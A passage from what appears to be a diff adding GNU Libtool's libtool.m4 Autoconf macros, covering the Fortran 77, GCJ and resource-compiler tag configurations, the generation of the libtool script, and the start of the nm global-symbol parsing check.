+ *) ;; # Ignore the rest. + + esac + done + + # Clean up. + rm -f a.out a.exe +else + echo "libtool.m4: error: problem compiling $1 test program" +fi + +$rm -f confest.$objext + +case " $_LT_AC_TAGVAR(postdeps, $1) " in +*" -lc "*) _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no ;; +esac +])# AC_LIBTOOL_POSTDEP_PREDEP + +# AC_LIBTOOL_LANG_F77_CONFIG +# ------------------------ +# Ensure that the configuration vars for the C compiler are +# suitably defined. Those variables are subsequently used by +# AC_LIBTOOL_CONFIG to write the compiler configuration to `libtool'. +AC_DEFUN([AC_LIBTOOL_LANG_F77_CONFIG], [_LT_AC_LANG_F77_CONFIG(F77)]) +AC_DEFUN([_LT_AC_LANG_F77_CONFIG], +[AC_REQUIRE([AC_PROG_F77]) +AC_LANG_PUSH(Fortran 77) + +_LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no +_LT_AC_TAGVAR(allow_undefined_flag, $1)= +_LT_AC_TAGVAR(always_export_symbols, $1)=no +_LT_AC_TAGVAR(archive_expsym_cmds, $1)= +_LT_AC_TAGVAR(export_dynamic_flag_spec, $1)= +_LT_AC_TAGVAR(hardcode_direct, $1)=no +_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)= +_LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)= +_LT_AC_TAGVAR(hardcode_libdir_separator, $1)= +_LT_AC_TAGVAR(hardcode_minus_L, $1)=no +_LT_AC_TAGVAR(hardcode_automatic, $1)=no +_LT_AC_TAGVAR(module_cmds, $1)= +_LT_AC_TAGVAR(module_expsym_cmds, $1)= +_LT_AC_TAGVAR(link_all_deplibs, $1)=unknown +_LT_AC_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds +_LT_AC_TAGVAR(no_undefined_flag, $1)= +_LT_AC_TAGVAR(whole_archive_flag_spec, $1)= +_LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=no + +# Source file extension for f77 test sources. +ac_ext=f + +# Object file extension for compiled f77 test sources. +objext=o +_LT_AC_TAGVAR(objext, $1)=$objext + +# Code to be used in simple compile tests +lt_simple_compile_test_code=" subroutine t\n return\n end\n" + +# Code to be used in simple link tests +lt_simple_link_test_code=" program t\n end\n" + +# ltmain only uses $CC for tagged configurations so make sure $CC is set. +_LT_AC_SYS_COMPILER + +# Allow CC to be a program name with arguments. +lt_save_CC="$CC" +CC=${F77-"f77"} +compiler=$CC +_LT_AC_TAGVAR(compiler, $1)=$CC +cc_basename=`$echo X"$compiler" | $Xsed -e 's%^.*/%%'` + +AC_MSG_CHECKING([if libtool supports shared libraries]) +AC_MSG_RESULT([$can_build_shared]) + +AC_MSG_CHECKING([whether to build shared libraries]) +test "$can_build_shared" = "no" && enable_shared=no + +# On AIX, shared libraries and static libraries use the same namespace, and +# are all built from PIC. +case "$host_os" in +aix3*) + test "$enable_shared" = yes && enable_static=no + if test -n "$RANLIB"; then + archive_cmds="$archive_cmds~\$RANLIB \$lib" + postinstall_cmds='$RANLIB $lib' + fi + ;; +aix4* | aix5*) + test "$enable_shared" = yes && enable_static=no + ;; +esac +AC_MSG_RESULT([$enable_shared]) + +AC_MSG_CHECKING([whether to build static libraries]) +# Make sure either enable_shared or enable_static is yes. +test "$enable_shared" = yes || enable_static=yes +AC_MSG_RESULT([$enable_static]) + +test "$_LT_AC_TAGVAR(ld_shlibs, $1)" = no && can_build_shared=no + +_LT_AC_TAGVAR(GCC, $1)="$G77" +_LT_AC_TAGVAR(LD, $1)="$LD" + +AC_LIBTOOL_PROG_COMPILER_PIC($1) +AC_LIBTOOL_PROG_CC_C_O($1) +AC_LIBTOOL_SYS_HARD_LINK_LOCKS($1) +AC_LIBTOOL_PROG_LD_SHLIBS($1) +AC_LIBTOOL_SYS_DYNAMIC_LINKER($1) +AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH($1) +AC_LIBTOOL_SYS_LIB_STRIP + + +AC_LIBTOOL_CONFIG($1) + +AC_LANG_POP +CC="$lt_save_CC" +])# AC_LIBTOOL_LANG_F77_CONFIG + + +# AC_LIBTOOL_LANG_GCJ_CONFIG +# -------------------------- +# Ensure that the configuration vars for the C compiler are +# suitably defined. Those variables are subsequently used by +# AC_LIBTOOL_CONFIG to write the compiler configuration to `libtool'. +AC_DEFUN([AC_LIBTOOL_LANG_GCJ_CONFIG], [_LT_AC_LANG_GCJ_CONFIG(GCJ)]) +AC_DEFUN([_LT_AC_LANG_GCJ_CONFIG], +[AC_LANG_SAVE + +# Source file extension for Java test sources. +ac_ext=java + +# Object file extension for compiled Java test sources. +objext=o +_LT_AC_TAGVAR(objext, $1)=$objext + +# Code to be used in simple compile tests +lt_simple_compile_test_code="class foo {}\n" + +# Code to be used in simple link tests +lt_simple_link_test_code='public class conftest { public static void main(String[] argv) {}; }\n' + +# ltmain only uses $CC for tagged configurations so make sure $CC is set. +_LT_AC_SYS_COMPILER + +# Allow CC to be a program name with arguments. +lt_save_CC="$CC" +CC=${GCJ-"gcj"} +compiler=$CC +_LT_AC_TAGVAR(compiler, $1)=$CC + +# GCJ did not exist at the time GCC didn't implicitly link libc in. +_LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no + +AC_LIBTOOL_PROG_COMPILER_NO_RTTI($1) +AC_LIBTOOL_PROG_COMPILER_PIC($1) +AC_LIBTOOL_PROG_CC_C_O($1) +AC_LIBTOOL_SYS_HARD_LINK_LOCKS($1) +AC_LIBTOOL_PROG_LD_SHLIBS($1) +AC_LIBTOOL_SYS_DYNAMIC_LINKER($1) +AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH($1) +AC_LIBTOOL_SYS_LIB_STRIP +AC_LIBTOOL_DLOPEN_SELF($1) + +AC_LIBTOOL_CONFIG($1) + +AC_LANG_RESTORE +CC="$lt_save_CC" +])# AC_LIBTOOL_LANG_GCJ_CONFIG + + +# AC_LIBTOOL_LANG_RC_CONFIG +# -------------------------- +# Ensure that the configuration vars for the Windows resource compiler are +# suitably defined. Those variables are subsequently used by +# AC_LIBTOOL_CONFIG to write the compiler configuration to `libtool'. +AC_DEFUN([AC_LIBTOOL_LANG_RC_CONFIG], [_LT_AC_LANG_RC_CONFIG(RC)]) +AC_DEFUN([_LT_AC_LANG_RC_CONFIG], +[AC_LANG_SAVE + +# Source file extension for RC test sources. +ac_ext=rc + +# Object file extension for compiled RC test sources. +objext=o +_LT_AC_TAGVAR(objext, $1)=$objext + +# Code to be used in simple compile tests +lt_simple_compile_test_code='sample MENU { MENUITEM "&Soup", 100, CHECKED }\n' + +# Code to be used in simple link tests +lt_simple_link_test_code="$lt_simple_compile_test_code" + +# ltmain only uses $CC for tagged configurations so make sure $CC is set. +_LT_AC_SYS_COMPILER + +# Allow CC to be a program name with arguments. +lt_save_CC="$CC" +CC=${RC-"windres"} +compiler=$CC +_LT_AC_TAGVAR(compiler, $1)=$CC +_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)=yes + +AC_LIBTOOL_CONFIG($1) + +AC_LANG_RESTORE +CC="$lt_save_CC" +])# AC_LIBTOOL_LANG_RC_CONFIG + + +# AC_LIBTOOL_CONFIG([TAGNAME]) +# ---------------------------- +# If TAGNAME is not passed, then create an initial libtool script +# with a default configuration from the untagged config vars. Otherwise +# add code to config.status for appending the configuration named by +# TAGNAME from the matching tagged config vars. +AC_DEFUN([AC_LIBTOOL_CONFIG], +[# The else clause should only fire when bootstrapping the +# libtool distribution, otherwise you forgot to ship ltmain.sh +# with your package, and you will get complaints that there are +# no rules to generate ltmain.sh. +if test -f "$ltmain"; then + # See if we are running on zsh, and set the options which allow our commands through + # without removal of \ escapes. + if test -n "${ZSH_VERSION+set}" ; then + setopt NO_GLOB_SUBST + fi + # Now quote all the things that may contain metacharacters while being + # careful not to overquote the AC_SUBSTed values. We take copies of the + # variables and quote the copies for generation of the libtool script. + for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC NM \ + SED SHELL STRIP \ + libname_spec library_names_spec soname_spec extract_expsyms_cmds \ + old_striplib striplib file_magic_cmd finish_cmds finish_eval \ + deplibs_check_method reload_flag reload_cmds need_locks \ + lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \ + lt_cv_sys_global_symbol_to_c_name_address \ + sys_lib_search_path_spec sys_lib_dlsearch_path_spec \ + old_postinstall_cmds old_postuninstall_cmds \ + _LT_AC_TAGVAR(compiler, $1) \ + _LT_AC_TAGVAR(CC, $1) \ + _LT_AC_TAGVAR(LD, $1) \ + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1) \ + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1) \ + _LT_AC_TAGVAR(lt_prog_compiler_static, $1) \ + _LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1) \ + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1) \ + _LT_AC_TAGVAR(thread_safe_flag_spec, $1) \ + _LT_AC_TAGVAR(whole_archive_flag_spec, $1) \ + _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1) \ + _LT_AC_TAGVAR(old_archive_cmds, $1) \ + _LT_AC_TAGVAR(old_archive_from_new_cmds, $1) \ + _LT_AC_TAGVAR(predep_objects, $1) \ + _LT_AC_TAGVAR(postdep_objects, $1) \ + _LT_AC_TAGVAR(predeps, $1) \ + _LT_AC_TAGVAR(postdeps, $1) \ + _LT_AC_TAGVAR(compiler_lib_search_path, $1) \ + _LT_AC_TAGVAR(archive_cmds, $1) \ + _LT_AC_TAGVAR(archive_expsym_cmds, $1) \ + _LT_AC_TAGVAR(postinstall_cmds, $1) \ + _LT_AC_TAGVAR(postuninstall_cmds, $1) \ + _LT_AC_TAGVAR(old_archive_from_expsyms_cmds, $1) \ + _LT_AC_TAGVAR(allow_undefined_flag, $1) \ + _LT_AC_TAGVAR(no_undefined_flag, $1) \ + _LT_AC_TAGVAR(export_symbols_cmds, $1) \ + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1) \ + _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1) \ + _LT_AC_TAGVAR(hardcode_libdir_separator, $1) \ + _LT_AC_TAGVAR(hardcode_automatic, $1) \ + _LT_AC_TAGVAR(module_cmds, $1) \ + _LT_AC_TAGVAR(module_expsym_cmds, $1) \ + _LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1) \ + _LT_AC_TAGVAR(exclude_expsyms, $1) \ + _LT_AC_TAGVAR(include_expsyms, $1); do + + case $var in + _LT_AC_TAGVAR(old_archive_cmds, $1) | \ + _LT_AC_TAGVAR(old_archive_from_new_cmds, $1) | \ + _LT_AC_TAGVAR(archive_cmds, $1) | \ + _LT_AC_TAGVAR(archive_expsym_cmds, $1) | \ + _LT_AC_TAGVAR(module_cmds, $1) | \ + _LT_AC_TAGVAR(module_expsym_cmds, $1) | \ + _LT_AC_TAGVAR(old_archive_from_expsyms_cmds, $1) | \ + _LT_AC_TAGVAR(export_symbols_cmds, $1) | \ + extract_expsyms_cmds | reload_cmds | finish_cmds | \ + postinstall_cmds | postuninstall_cmds | \ + old_postinstall_cmds | old_postuninstall_cmds | \ + sys_lib_search_path_spec | sys_lib_dlsearch_path_spec) + # Double-quote double-evaled strings. + eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\"" + ;; + *) + eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\"" + ;; + esac + done + + case $lt_echo in + *'\[$]0 --fallback-echo"') + lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\[$]0 --fallback-echo"[$]/[$]0 --fallback-echo"/'` + ;; + esac + +ifelse([$1], [], + [cfgfile="${ofile}T" + trap "$rm \"$cfgfile\"; exit 1" 1 2 15 + $rm -f "$cfgfile" + AC_MSG_NOTICE([creating $ofile])], + [cfgfile="$ofile"]) + + cat <<__EOF__ >> "$cfgfile" +ifelse([$1], [], +[#! $SHELL + +# `$echo "$cfgfile" | sed 's%^.*/%%'` - Provide generalized library-building support services. +# Generated automatically by $PROGRAM (GNU $PACKAGE $VERSION$TIMESTAMP) +# NOTE: Changes made to this file will be lost: look at ltmain.sh. +# +# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001 +# Free Software Foundation, Inc. +# +# This file is part of GNU Libtool: +# Originally by Gordon Matzigkeit <gord@gnu.ai.mit.edu>, 1996 +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. +# +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + +# A sed program that does not truncate output. +SED=$lt_SED + +# Sed that helps us avoid accidentally triggering echo(1) options like -n. +Xsed="$SED -e s/^X//" + +# The HP-UX ksh and POSIX shell print the target directory to stdout +# if CDPATH is set. +(unset CDPATH) >/dev/null 2>&1 && unset CDPATH + +# The names of the tagged configurations supported by this script. +available_tags= + +# ### BEGIN LIBTOOL CONFIG], +[# ### BEGIN LIBTOOL TAG CONFIG: $tagname]) + +# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`: + +# Shell to use when invoking shell scripts. +SHELL=$lt_SHELL + +# Whether or not to build shared libraries. +build_libtool_libs=$enable_shared + +# Whether or not to build static libraries. +build_old_libs=$enable_static + +# Whether or not to add -lc for building shared libraries. +build_libtool_need_lc=$_LT_AC_TAGVAR(archive_cmds_need_lc, $1) + +# Whether or not to disallow shared libs when runtime libs are static +allow_libtool_libs_with_static_runtimes=$_LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1) + +# Whether or not to optimize for fast installation. +fast_install=$enable_fast_install + +# The host system. +host_alias=$host_alias +host=$host + +# An echo program that does not interpret backslashes. +echo=$lt_echo + +# The archiver. +AR=$lt_AR +AR_FLAGS=$lt_AR_FLAGS + +# A C compiler. +LTCC=$lt_LTCC + +# A language-specific compiler. +CC=$lt_[]_LT_AC_TAGVAR(compiler, $1) + +# Is the compiler the GNU C compiler? +with_gcc=$_LT_AC_TAGVAR(GCC, $1) + +# An ERE matcher. +EGREP=$lt_EGREP + +# The linker used to build libraries. +LD=$lt_[]_LT_AC_TAGVAR(LD, $1) + +# Whether we need hard or soft links. +LN_S=$lt_LN_S + +# A BSD-compatible nm program. +NM=$lt_NM + +# A symbol stripping program +STRIP=$lt_STRIP + +# Used to examine libraries when file_magic_cmd begins "file" +MAGIC_CMD=$MAGIC_CMD + +# Used on cygwin: DLL creation program. +DLLTOOL="$DLLTOOL" + +# Used on cygwin: object dumper. +OBJDUMP="$OBJDUMP" + +# Used on cygwin: assembler. +AS="$AS" + +# The name of the directory that contains temporary libtool files. +objdir=$objdir + +# How to create reloadable object files. +reload_flag=$lt_reload_flag +reload_cmds=$lt_reload_cmds + +# How to pass a linker flag through the compiler. +wl=$lt_[]_LT_AC_TAGVAR(lt_prog_compiler_wl, $1) + +# Object file suffix (normally "o"). +objext="$ac_objext" + +# Old archive suffix (normally "a"). +libext="$libext" + +# Shared library suffix (normally ".so"). +shrext_cmds='$shrext_cmds' + +# Executable file suffix (normally ""). +exeext="$exeext" + +# Additional compiler flags for building library objects. +pic_flag=$lt_[]_LT_AC_TAGVAR(lt_prog_compiler_pic, $1) +pic_mode=$pic_mode + +# What is the maximum length of a command? +max_cmd_len=$lt_cv_sys_max_cmd_len + +# Does compiler simultaneously support -c and -o options? +compiler_c_o=$lt_[]_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1) + +# Must we lock files when doing compilation ? +need_locks=$lt_need_locks + +# Do we need the lib prefix for modules? +need_lib_prefix=$need_lib_prefix + +# Do we need a version for libraries? +need_version=$need_version + +# Whether dlopen is supported. +dlopen_support=$enable_dlopen + +# Whether dlopen of programs is supported. +dlopen_self=$enable_dlopen_self + +# Whether dlopen of statically linked programs is supported. +dlopen_self_static=$enable_dlopen_self_static + +# Compiler flag to prevent dynamic linking. +link_static_flag=$lt_[]_LT_AC_TAGVAR(lt_prog_compiler_static, $1) + +# Compiler flag to turn off builtin functions. +no_builtin_flag=$lt_[]_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1) + +# Compiler flag to allow reflexive dlopens. +export_dynamic_flag_spec=$lt_[]_LT_AC_TAGVAR(export_dynamic_flag_spec, $1) + +# Compiler flag to generate shared objects directly from archives. +whole_archive_flag_spec=$lt_[]_LT_AC_TAGVAR(whole_archive_flag_spec, $1) + +# Compiler flag to generate thread-safe objects. +thread_safe_flag_spec=$lt_[]_LT_AC_TAGVAR(thread_safe_flag_spec, $1) + +# Library versioning type. +version_type=$version_type + +# Format of library name prefix. +libname_spec=$lt_libname_spec + +# List of archive names. First name is the real one, the rest are links. +# The last name is the one that the linker finds with -lNAME. +library_names_spec=$lt_library_names_spec + +# The coded name of the library, if different from the real name. +soname_spec=$lt_soname_spec + +# Commands used to build and install an old-style archive. +RANLIB=$lt_RANLIB +old_archive_cmds=$lt_[]_LT_AC_TAGVAR(old_archive_cmds, $1) +old_postinstall_cmds=$lt_old_postinstall_cmds +old_postuninstall_cmds=$lt_old_postuninstall_cmds + +# Create an old-style archive from a shared archive. +old_archive_from_new_cmds=$lt_[]_LT_AC_TAGVAR(old_archive_from_new_cmds, $1) + +# Create a temporary old-style archive to link instead of a shared archive. +old_archive_from_expsyms_cmds=$lt_[]_LT_AC_TAGVAR(old_archive_from_expsyms_cmds, $1) + +# Commands used to build and install a shared archive. +archive_cmds=$lt_[]_LT_AC_TAGVAR(archive_cmds, $1) +archive_expsym_cmds=$lt_[]_LT_AC_TAGVAR(archive_expsym_cmds, $1) +postinstall_cmds=$lt_postinstall_cmds +postuninstall_cmds=$lt_postuninstall_cmds + +# Commands used to build a loadable module (assumed same as above if empty) +module_cmds=$lt_[]_LT_AC_TAGVAR(module_cmds, $1) +module_expsym_cmds=$lt_[]_LT_AC_TAGVAR(module_expsym_cmds, $1) + +# Commands to strip libraries. +old_striplib=$lt_old_striplib +striplib=$lt_striplib + +# Dependencies to place before the objects being linked to create a +# shared library. +predep_objects=$lt_[]_LT_AC_TAGVAR(predep_objects, $1) + +# Dependencies to place after the objects being linked to create a +# shared library. +postdep_objects=$lt_[]_LT_AC_TAGVAR(postdep_objects, $1) + +# Dependencies to place before the objects being linked to create a +# shared library. +predeps=$lt_[]_LT_AC_TAGVAR(predeps, $1) + +# Dependencies to place after the objects being linked to create a +# shared library. +postdeps=$lt_[]_LT_AC_TAGVAR(postdeps, $1) + +# The library search path used internally by the compiler when linking +# a shared library. +compiler_lib_search_path=$lt_[]_LT_AC_TAGVAR(compiler_lib_search_path, $1) + +# Method to check whether dependent libraries are shared objects. +deplibs_check_method=$lt_deplibs_check_method + +# Command to use when deplibs_check_method == file_magic. +file_magic_cmd=$lt_file_magic_cmd + +# Flag that allows shared libraries with undefined symbols to be built. +allow_undefined_flag=$lt_[]_LT_AC_TAGVAR(allow_undefined_flag, $1) + +# Flag that forces no undefined symbols. +no_undefined_flag=$lt_[]_LT_AC_TAGVAR(no_undefined_flag, $1) + +# Commands used to finish a libtool library installation in a directory. +finish_cmds=$lt_finish_cmds + +# Same as above, but a single script fragment to be evaled but not shown. +finish_eval=$lt_finish_eval + +# Take the output of nm and produce a listing of raw symbols and C names. +global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe + +# Transform the output of nm in a proper C declaration +global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl + +# Transform the output of nm in a C name address pair +global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address + +# This is the shared library runtime path variable. +runpath_var=$runpath_var + +# This is the shared library path variable. +shlibpath_var=$shlibpath_var + +# Is shlibpath searched before the hard-coded library search path? +shlibpath_overrides_runpath=$shlibpath_overrides_runpath + +# How to hardcode a shared library path into an executable. +hardcode_action=$_LT_AC_TAGVAR(hardcode_action, $1) + +# Whether we should hardcode library paths into libraries. +hardcode_into_libs=$hardcode_into_libs + +# Flag to hardcode \$libdir into a binary during linking. +# This must work even if \$libdir does not exist. +hardcode_libdir_flag_spec=$lt_[]_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1) + +# If ld is used when linking, flag to hardcode \$libdir into +# a binary during linking. This must work even if \$libdir does +# not exist. +hardcode_libdir_flag_spec_ld=$lt_[]_LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1) + +# Whether we need a single -rpath flag with a separated argument. +hardcode_libdir_separator=$lt_[]_LT_AC_TAGVAR(hardcode_libdir_separator, $1) + +# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the +# resulting binary. +hardcode_direct=$_LT_AC_TAGVAR(hardcode_direct, $1) + +# Set to yes if using the -LDIR flag during linking hardcodes DIR into the +# resulting binary. +hardcode_minus_L=$_LT_AC_TAGVAR(hardcode_minus_L, $1) + +# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into +# the resulting binary. +hardcode_shlibpath_var=$_LT_AC_TAGVAR(hardcode_shlibpath_var, $1) + +# Set to yes if building a shared library automatically hardcodes DIR into the library +# and all subsequent libraries and executables linked against it. +hardcode_automatic=$_LT_AC_TAGVAR(hardcode_automatic, $1) + +# Variables whose values should be saved in libtool wrapper scripts and +# restored at relink time. +variables_saved_for_relink="$variables_saved_for_relink" + +# Whether libtool must link a program against all its dependency libraries. +link_all_deplibs=$_LT_AC_TAGVAR(link_all_deplibs, $1) + +# Compile-time system search path for libraries +sys_lib_search_path_spec=$lt_sys_lib_search_path_spec + +# Run-time system search path for libraries +sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec + +# Fix the shell variable \$srcfile for the compiler. +fix_srcfile_path="$_LT_AC_TAGVAR(fix_srcfile_path, $1)" + +# Set to yes if exported symbols are required. +always_export_symbols=$_LT_AC_TAGVAR(always_export_symbols, $1) + +# The commands to list exported symbols. +export_symbols_cmds=$lt_[]_LT_AC_TAGVAR(export_symbols_cmds, $1) + +# The commands to extract the exported symbol list from a shared archive. +extract_expsyms_cmds=$lt_extract_expsyms_cmds + +# Symbols that should not be listed in the preloaded symbols. +exclude_expsyms=$lt_[]_LT_AC_TAGVAR(exclude_expsyms, $1) + +# Symbols that must always be exported. +include_expsyms=$lt_[]_LT_AC_TAGVAR(include_expsyms, $1) + +ifelse([$1],[], +[# ### END LIBTOOL CONFIG], +[# ### END LIBTOOL TAG CONFIG: $tagname]) + +__EOF__ + +ifelse([$1],[], [ + case $host_os in + aix3*) + cat <<\EOF >> "$cfgfile" + +# AIX sometimes has problems with the GCC collect2 program. For some +# reason, if we set the COLLECT_NAMES environment variable, the problems +# vanish in a puff of smoke. +if test "X${COLLECT_NAMES+set}" != Xset; then + COLLECT_NAMES= + export COLLECT_NAMES +fi +EOF + ;; + esac + + # We use sed instead of cat because bash on DJGPP gets confused if + # if finds mixed CR/LF and LF-only lines. Since sed operates in + # text mode, it properly converts lines to CR/LF. This bash problem + # is reportedly fixed, but why not run on old versions too? + sed '$q' "$ltmain" >> "$cfgfile" || (rm -f "$cfgfile"; exit 1) + + mv -f "$cfgfile" "$ofile" || \ + (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile") + chmod +x "$ofile" +]) +else + # If there is no Makefile yet, we rely on a make rule to execute + # `config.status --recheck' to rerun these tests and create the + # libtool script then. + ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'` + if test -f "$ltmain_in"; then + test -f Makefile && make "$ltmain" + fi +fi +])# AC_LIBTOOL_CONFIG + + +# AC_LIBTOOL_PROG_COMPILER_NO_RTTI([TAGNAME]) +# ------------------------------------------- +AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_NO_RTTI], +[AC_REQUIRE([_LT_AC_SYS_COMPILER])dnl + +_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)= + +if test "$GCC" = yes; then + _LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=' -fno-builtin' + + AC_LIBTOOL_COMPILER_OPTION([if $compiler supports -fno-rtti -fno-exceptions], + lt_cv_prog_compiler_rtti_exceptions, + [-fno-rtti -fno-exceptions], [], + [_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)="$_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1) -fno-rtti -fno-exceptions"]) +fi +])# AC_LIBTOOL_PROG_COMPILER_NO_RTTI + + +# AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE +# --------------------------------- +AC_DEFUN([AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE], +[AC_REQUIRE([AC_CANONICAL_HOST]) +AC_REQUIRE([AC_PROG_NM]) +AC_REQUIRE([AC_OBJEXT]) +# Check for command to grab the raw symbol name followed by C symbol from nm. +AC_MSG_CHECKING([command to parse $NM output from $compiler object]) +AC_CACHE_VAL([lt_cv_sys_global_symbol_pipe], +[ +# These are sane defaults that work on at least a few old systems. +# [They come from Ultrix. What could be older than Ultrix?!! ;)] + +# Character class describing NM global symbol codes. +symcode='[[BCDEGRST]]' + +# Regexp to match symbols that can be accessed directly from C. +sympat='\([[_A-Za-z]][[_A-Za-z0-9]]*\)' + +# Transform the above into a raw symbol and a C symbol. +symxfrm='\1 \2\3 \3' + +# Transform an extracted symbol line into a proper C declaration +lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^. .* \(.*\)$/extern int \1;/p'" + +# Transform an extracted symbol line into symbol name and symbol address +lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode \([[^ ]]*\) \([[^ ]]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'" + +# Define system-specific variables. +case $host_os in +aix*) + symcode='[[BCDT]]' + ;; +cygwin* | mingw* | pw32*) + symcode='[[ABCDGISTW]]' + ;; +hpux*) # Its linker distinguishes data from code symbols + if test "$host_cpu" = ia64; then + symcode='[[ABCDEGRST]]' + fi + lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'" + lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'" + ;; +irix* | nonstopux*) + symcode='[[BCDEGRST]]' + ;; +osf*) + symcode='[[BCDEGQRST]]' + ;; +solaris* | sysv5*) + symcode='[[BDRT]]' + ;; +sysv4) + symcode='[[DFNSTU]]' + ;; +esac + +# Handle CRLF in mingw tool chain +opt_cr= +case $build_os in +mingw*) + opt_cr=`echo 'x\{0,1\}' | tr x '\015'` # option cr in regexp + ;; +esac + +# If we're using GNU nm, then use its standard symbol codes. +case `$NM -V 2>&1` in +*GNU* | *'with BFD'*) + symcode='[[ABCDGIRSTW]]' ;; +esac + +# Try without a prefix undercore, then with it. +for ac_symprfx in "" "_"; do + + # Write the raw and C identifiers. + lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[[ ]]\($symcode$symcode*\)[[ ]][[ ]]*\($ac_symprfx\)$sympat$opt_cr$/$symxfrm/p'" + + # Check to see that the pipe works correctly. + pipe_works=no + + rm -f conftest* + cat > conftest.$ac_ext <<EOF +#ifdef __cplusplus +extern "C" { +#endif +char nm_test_var; +void nm_test_func(){} +#ifdef __cplusplus +} +#endif +int main(){nm_test_var='a';nm_test_func();return(0);} +EOF + + if AC_TRY_EVAL(ac_compile); then + # Now try to grab the symbols. + nlist=conftest.nm + if AC_TRY_EVAL(NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $nlist) && test -s "$nlist"; then + # Try sorting and uniquifying the output. + if sort "$nlist" | uniq > "$nlist"T; then + mv -f "$nlist"T "$nlist" + else + rm -f "$nlist"T + fi + + # Make sure that we snagged all the symbols we need. + if grep ' nm_test_var$' "$nlist" >/dev/null; then + if grep ' nm_test_func$' "$nlist" >/dev/null; then + cat <<EOF > conftest.$ac_ext +#ifdef __cplusplus +extern "C" { +#endif + +EOF + # Now generate the symbol file. + eval "$lt_cv_sys_global_symbol_to_cdecl"' < "$nlist" | grep -v main >> conftest.$ac_ext' + + cat <<EOF >> conftest.$ac_ext +#if defined (__STDC__) && __STDC__ +# define lt_ptr_t void * +#else +# define lt_ptr_t char * +# define const +#endif + +/* The mapping between symbol names and symbols. */ +const struct { + const char *name; + lt_ptr_t address; +} +lt_preloaded_symbols[[]] = +{ +EOF + $SED "s/^$symcode$symcode* \(.*\) \(.*\)$/ {\"\2\", (lt_ptr_t) \&\2},/" < "$nlist" | grep -v main >> conftest.$ac_ext + cat <<\EOF >> conftest.$ac_ext + {0, (lt_ptr_t) 0} +}; + +#ifdef __cplusplus +} +#endif +EOF + # Now try linking the two files. + mv conftest.$ac_objext conftstm.$ac_objext + lt_save_LIBS="$LIBS" + lt_save_CFLAGS="$CFLAGS" + LIBS="conftstm.$ac_objext" + CFLAGS="$CFLAGS$_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)" + if AC_TRY_EVAL(ac_link) && test -s 